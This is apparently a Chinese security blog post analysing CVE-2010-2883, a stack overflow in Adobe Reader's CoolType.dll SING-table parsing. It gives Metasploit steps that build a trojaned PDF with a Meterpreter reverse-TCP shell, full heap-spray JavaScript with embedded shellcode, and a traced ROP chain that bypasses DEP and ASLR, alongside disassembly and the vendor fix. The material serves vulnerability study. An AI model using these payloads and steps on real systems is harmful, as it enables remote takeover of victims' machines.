获取中...

-

Just a minute...

CVE-2010-2883是pdf阅读器Adobe Reader的一个栈溢出漏洞。

漏洞描述

CVE-2010-2883是Adobe Reader和Acrobat中的CoolType.dll库在解析文字文件SING表中的uniqueName时调用的strcat函数未检查长度存在的栈溢出漏洞,当用户打开特定的pdf文件就有可能导致任意代码执行。

影响版本

Adobe Reader 8.2.4 - 9.3.4

测试环境

. 环境
操作系统 win xp(ip:192.168.17.143) kali2019(ip:192.168.17.145)
虚拟机 VMware 15
调试器 OllDbg
反汇编器 IDA7.0
漏洞软件 Adobe Reader 9.3.4

漏洞复现

1.进入msfconsole
2.搜索Adobe渗透模块
search adobe_cooltype_sing
3.调用渗透模块
use exploit/windows/fileformat/adobe_cooltype_sing/
4.查看模块详情
info
5.调用meterpreter载荷,反向连接到渗透机
set payload windows/meterpreter/reverse_tcp
6.设置Kali Linux的IP地址
set LHOST 192.168.17.145
7.设置本地监听端口
set LPORT 8888
8.设置带有后门程序的PDF文件
set FILENAME PINGINGLAB.pdf
9.执行生成文件,文件在/root/.msf4/local/PINGINGLAB.pdf
exploit
10.将PDF木马文件拷贝至Kali Linux桌面
cp /root/.msf4/local/PINGINGLAB.pdf /root/Desktop/PINGINGLAB.pdf
11.Metasploit开启shell监听会话,等待肉鸡上线
12.使用handler监听模块
use exploit/multi/handler
13.回弹一个tcp连接
set payload windows/meterpreter/reverse_tcp
14.设置监听IP地址
set LHOST 192.168.17.143
15.设置监听的端口
set LPORT 8888
16.开启监听
exploit
17.将PDF木马文件拷贝到Win xp并打开
这时Metasploit获取shell会话,并用Meterpreter控制肉鸡
查看系统信息
sysinfo
查看当前用户
getuid

漏洞分析

静态分析

定位触发点

CoolType.dll(在安装目录Reader 9.0\Reader\下 )在解析SING表中的uniqueName时存在栈溢出漏洞。用ida反汇编CoolType.dll库,查看字符串发现SING字样,这个地方是漏洞解析出错的地方,直接定位进去就能查看这个库对sing表格的解析方式,主要是stract造成的栈溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
.text:0803DBF2                 push    ebp
.text:0803DBF3 sub esp, 104h ; 分配空间
.text:0803DBF9 lea ebp, [esp-4] ; strcat将执行结果保存在ebp中
.text:0803DBFD mov eax, ___security_cookie
.text:0803DC02 xor eax, ebp
.text:0803DC04 mov [ebp+108h+var_4], eax
.text:0803DC0A push 4Ch
.text:0803DC0C mov eax, offset loc_81847C4
.text:0803DC11 call __EH_prolog3_catch
.text:0803DC16 mov eax, [ebp+108h+arg_C]
.text:0803DC1C mov edi, [ebp+108h+arg_0]
.text:0803DC22 mov ebx, [ebp+108h+arg_4]
.text:0803DC28 mov [ebp+108h+var_130], edi
.text:0803DC2B mov [ebp+108h+var_138], eax
.text:0803DC2E call sub_8041626
.text:0803DC33 xor esi, esi
.text:0803DC35 cmp dword ptr [edi+8], 3
.text:0803DC39 ; try {
.text:0803DC39 mov [ebp+108h+var_10C], esi
.text:0803DC3C jz loc_803DDF9
.text:0803DC42 mov [ebp+108h+var_124], esi
.text:0803DC45 mov [ebp+108h+var_120], esi
.text:0803DC48 cmp dword ptr [edi+0Ch], 1
.text:0803DC48 ; } // starts at 803DC39
.text:0803DC4C ; try {
.text:0803DC4C mov byte ptr [ebp+108h+var_10C], 1
.text:0803DC50 jnz loc_803DDA2
.text:0803DC56 push offset aName ; "name"
.text:0803DC5B push edi ; int
.text:0803DC5C lea ecx, [ebp+108h+var_124]
.text:0803DC5F mov [ebp+108h+var_119], 0
.text:0803DC63 call sub_802178F
.text:0803DC68 cmp [ebp+108h+var_124], esi
.text:0803DC6B jnz short loc_803DCD6
.text:0803DC6D push offset aSing ; "SING"
.text:0803DC72 push edi ; int
.text:0803DC73 lea ecx, [ebp+108h+var_12C] ; 指向虚表的指针,这里指向sing表的入口
.text:0803DC76 call sub_8021ABE ; 处理sing表
.text:0803DC7B mov eax, [ebp+108h+var_12C]
.text:0803DC7E cmp eax, esi ; 判断是否为空
.text:0803DC7E ; } // starts at 803DC4C
.text:0803DC80 ; try {
.text:0803DC80 mov byte ptr [ebp+108h+var_10C], 2
.text:0803DC84 jz short loc_803DCBD ; 不跳转
.text:0803DC86 mov ecx, [eax] ; 版本号
.text:0803DC88 and ecx, 0FFFFh
.text:0803DC8E jz short loc_803DC98 ; 跳转
.text:0803DC90 cmp ecx, 100h
.text:0803DC96 jnz short loc_803DCB9
.text:0803DC98
.text:0803DC98 loc_803DC98: ; CODE XREF: sub_803DBF2+9C↑j
.text:0803DC98 add eax, 10h ; 寻找uniqueName,相对sing表入口偏移0x10
.text:0803DC9B push eax ; char *
.text:0803DC9C lea eax, [ebp+108h+var_108] ; 目的地址是一段固定大小的栈空间,就是前面申请的空间
.text:0803DC9F push eax ; char *
.text:0803DCA0 mov [ebp+108h+var_108], 0
.text:0803DCA4 call strcat ;造成溢出

strcat函数
char * strcat(char * dest, const char * src);
strcat会将参数src字符串复制到参数dest所指的字符串尾部,dest最后的结束字符NULL会被覆盖掉,并在连接后的字符串尾部再增加一个NULL

SING数据结构分析

PdfStreamDumper,用工具导入利用漏洞的PDF文件,在Object中找到Sing的Object,右键选择Save Decompressed Streams保存到本地。
TableEntry数据结构在官方文档定义如下:

1
2
3
4
5
6
7
typedef sturct_SING
{
char tag[4];//"SING"
ULONG checkSum;//校验和
ULONG offset;//相对文件偏移
ULONG length;//数据长度
} TableEntry;

样本中,SING表的形态:

1
2
3
4
Char tag[4];	 //53 49 4E 47
ULONG checkSum; //D9 BC C8 B5
ULONG offset; //00 00 01 1C
ULONG length; //00 00 1D DF

SING数据是0x11C开始的,SING数据长度为0x1DDF,SING从真实数据偏移0x10为uniqueName域,入口偏移0x11c是SING表的真实数据,也就是从00 00 01 00开始的部分偏移0x10就能找到uniqueName域(uniqueName域是个28字节大小的结构),执行strcat后,会将58 E0 8D AD起始的复制到ebp指定的地址中,直到遇到NULL字符串终止符

ollydbg动态调试

先打开Adobe Reader,再打开OllyDbg,attach上Adobe Reader进程,f9运行,此时OllyDbg显示当前调试的程序是运行状态,实际上这个时候Adobe Reader就已经加载了CoolType.dll文件了。通过刚刚的静态分析我们了解到SING在地址0803DC6D处被引用,Ctrl+G输入0x0803DC6D回车跳转到该地址F2下断点。

获取SING表的入口地址

将样本拖入Adobe Reader中,程序就会停在刚才下的断点上面,f7单步运行到以下位置

ECX指向0012EB00,数据窗口窗口跟随查看这个指针里存放的数据

在TrueType字体文件中,从0字节偏移的位置开始有一个表目录。且这个表目录的第一个字段是名为sfnt version是用来表明所用ttf格式版本的字段。在文档中清楚的说明了,对于1.0版本的TTF字体文件开头要用0x00010000来表示版本。075E3B70处的数据正好是0x00010000,所以此时ecx中保存的是SING的版本号。

之后调用call指令,将SING字符串当作参数了,这个call实际上是在处理SING表,f8步过,继续单步

eax是072f3924,用pdfStreamDumper取出PDF样本中的TTF文件,TTF中关于SING表的TableEntry结构数据如下图

在文件偏移0x11C处即是SING表的真实数据

这里的数据和eax所指的072F3924处的内容一样,所以call指令的作用是取SING表的入口地址。

cmp eax,esi这里是比较eax和esi的值,检测SING是否为空,eax的值是072f3924,esi的值是0,所以不会跳转。继续向下执行

mov ecx,dword ptr ds:[eax]这里的取出eax的内容赋给ecx(之前保存的是ttf的版本号)

and ecx,0xFFFF这里清掉低4位,结果为零,je跳转,继续往下

这里执行add eax,0x10后,eax原来执行SING表,SING表加上0x10处指向unique域

找出溢出点

继续执行找到溢出点

将uniqueName域和当前的ebp入栈,然后调用strcat进行字符串拼接,但是没有进行安全检查,导致溢出,我们单步步过strcat后查看一下ebp开始的栈区数据

此时栈溢出已经发生,函数的返回地址已经被覆盖为SING表中的恶意数据

返回地址

返回地址位于icucnv32.dll中,IMAGE_OPTIONAL_HEADER中IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE 的值为0,所以这个模块没有开启ASLR,这就保证了exp的稳定性

执行到0x0808B1C0时,eax的值是0012E6D0,这个地址也是在icucnv32.dll中,f7跟进

这里是ROP指令,首先执行add ebp,0x794 执行这条指令后ebp的值为0012E4DC

ebp调整到strcat函数调用后的栈区数据范围内,接下来执行leave,修改了esp为0012E4E0

执行retn会跳转到0x4A82A714地址处

继续F7单步

继续F7单步执行完pop esp后,esp将被修改为0x0C0C0C0C,然后返回

HeapSpray

在进行HeapSpray时,一般会将EIP控制到0x0C0C0C0C,利用javascript申请大量的堆内存块,并用包含着0x90(nop)和shellcode的内存片覆盖这些内存。通常javascript会从内存低址向高址分配内存,因此申请的内存超过200MB(200MB=200x1024x1024=0xC800000>0x0C0C0C0C)后,0x0C0C0C0C就会被含有shellcode的内存块覆盖。只要内存片中的0x90能够命中0x0C0C0C0C的位置,通过滑行,就可以执行到shellcode。而上图中的0x0C0C0C0C是样本特意构造的,是为了实现HeapSpary堆喷射技术,因为PDF本身支持执行JS的特性,将ShellCode借助JS写入内存中。栈中的数据就是JS代码中的ShellCode,然后利用它来实现ROP以绕过DEP保护。

可以通过PDFStreamDumper工具提取样本中实现堆喷射的JS代码,看到的代码是经过混淆的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var shellcode = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%u6dba%u42a5%udd5e%ud9c4%u2474%u5df4%uc931%u31b1%uc583%u3104%u0f55%u5503%u4762%ua2b7%u0594%u5b38%u6a64%ubeb0%uaa55%ucba6%u1ac5%u9eac%ud1e9%u0ae0%u977a%u3c2c%u12cb%u730b%u0fcc%u126f%u524e%uf4bc%u9d6f%uf5b1%uc0a8%ua738%u8e61%u58ef%uda06%ud233%uca54%u0733%ued2c%u9612%ub427%u18b4%ucce4%u02fc%ue9e9%ub9b7%u86d9%u6849%u6610%u55e5%u959d%u92f7%u4619%uea82%ufb5a%u2895%u2721%uab13%uac81%u1783%u6030%ud355%ucd3e%ubb11%ud022%ub7f6%u595e%u17f9%u19d7%ub3de%ufabc%ue57f%uac18%uf580%u11c3%u7d25%u46e9%udc54%u9867%u5aea%u9ac5%u64f4%uf379%uefc5%u8416%u25d9%u7a53%u6490%u13f5%ufd7d%u7e44%u2b7e%u878a%udefd%u7c72%uab1d%u3877%u4799%u5105%u684c%u52ba%u0b45%uc15d%ue205%u61f8%ufaaf' );
var block = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (block.length + 20 + 8 < 65536)
block+=block;
SP = block.substring(0, (0x0c0c-0x24)/2);
SP += shellcode;
SP += block;
slackspace = SP.substring(0, 65536/2);
while(slackspace.length < 0x80000) //2^19=524288
slackspace += slackspace;
bigblock = slackspace.substring(0, 0x80000 - (0x1020-0x08) / 2);
var memory = new Array();
for (count=0;count<0x1f0;count++)
memory[count]=bigblock+"s";

平常的HeapSpray代码都是使用%u9090(NOP)进行填充,这里的%u0C0C相当于OR AL,0CH 这样的指令执行的效果对al寄存器不会产生任何影响,和后面的shellcode代码无关。NOP SLED在整个内存块中所占比例较大,所以当控制EIP转到0x0C0C0C0C执行时,命中NOP SLED的几率比较大。实现堆喷射的关键在new Array(),利用数据来开辟内存区域,然后通过填充数据的方式来喷射ShellCode

利用ROP链绕过DEP保护

执行pop ecx ,ecx的值变成4A8A0000,储存UTF-32字符串

继续执行,eax是0012E6D0

执行完mov dword ptr:[ecx],eax后,原本存“UTF-32”字符串的地方保存eax的值

之后返回,继续执行eax指向了CreateFileA

跳转执行CreateFileA,查看CreateFileA在栈区的参数,这里以隐藏的方式创建了一个临时文件iso88591,可以在当前样本的同路径下找到

Ctrl+F9返回

继续执行跳转到0x4A8063A5

执行pop ecx,将ecx赋值为4A801064

执行ret,跳转到4A842DB2

执行xchg eax,edi交换eax和edi寄存器的值

之后跳转到4A802AB1

执行完pop ebp,ebp的值变为0x8

跳转到4A80A8A6

指向了一个函数的实现模块

用CreateFileMappingA,创建文件映射对象,然后去执行MapViewOfFile,将一个文件映射对象映射到当前程序的地址空间

之后调用memcpy

参数如下图

继续执行到此处,这里将要执行的ShellCode写入到MapViewOfFile返回的地址,因为这段内存是可读可写的,所以就绕过了DEP的保护由于构造的ROP链指令均位于不受ASLR保护的icucnv32.dll模块,因此也绕过了ASLR,之后执行shellcode。

漏洞利用流程

1.获取SING表的入口地址
2.使用strcat函数将unique和ebp拼接造成溢出
3.将返回地址覆盖为0x4A82A714
4.之后调用0012E6D0(call命令之前eax的值)
5.调整ebp,跳回构造函数的返回地址0x4A82A714
6.修改esp为0x0C0C0C0C
7.利用JavaScript实现HeapSpray
8.利用ROP链执行CreateFileA
9.利用ROP链执行CreateFileMappingA,将文件映射到一块可读可写可执行的内存空间
10.利用ROP链执行memcpy将shellcode写入MapViewOfFile返回的地址,绕过DEP
11.执行shellcode

漏洞修复

下载新版本AdobeReader提取CoolType.dll定位到相同的位置,就不再调用strcat函数了,替换的函数获取了字段的长度,并判断是否超出限制,如果超出限制就用strncat限制了拷贝的字节数。

参考
《漏洞战争》
https://www.52pojie.cn/thread-974408-1-1.html#26467205_%E5%8F%82%E8%80%83%E8%B5%84%E6%96%99

相关文章
评论
分享
  • Alloc to Stack&Arbitary Alloc

    Alloc to Stack和Arbitary Alloc都利用了fastbin链表的特性。 Alloc To Stack利用了fastbin链表的特性。当前的chunk的fd指向下一个chunk。Alloc To Stack核心...

    Alloc to Stack&Arbitary Alloc
  • House of Spirit

    House of Spirit针对fastbin,也是fastbin attach的一种。核心在于在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配指定地址的 chunk 的目的。 原理House of Spi...

    House of Spirit
  • Fastbin Double Free

    double free 是任意地址写的一种技巧,指堆上的某块内存被释放后,并没有将指向该堆块的指针清零,那么,我们就可以利用程序的其他部分对该内存进行再次的free, 利用条件Fastbin Double Free 能够成功利用主...

    Fastbin Double Free
Please check the parameter of comment in config.yml of hexo-theme-Annie!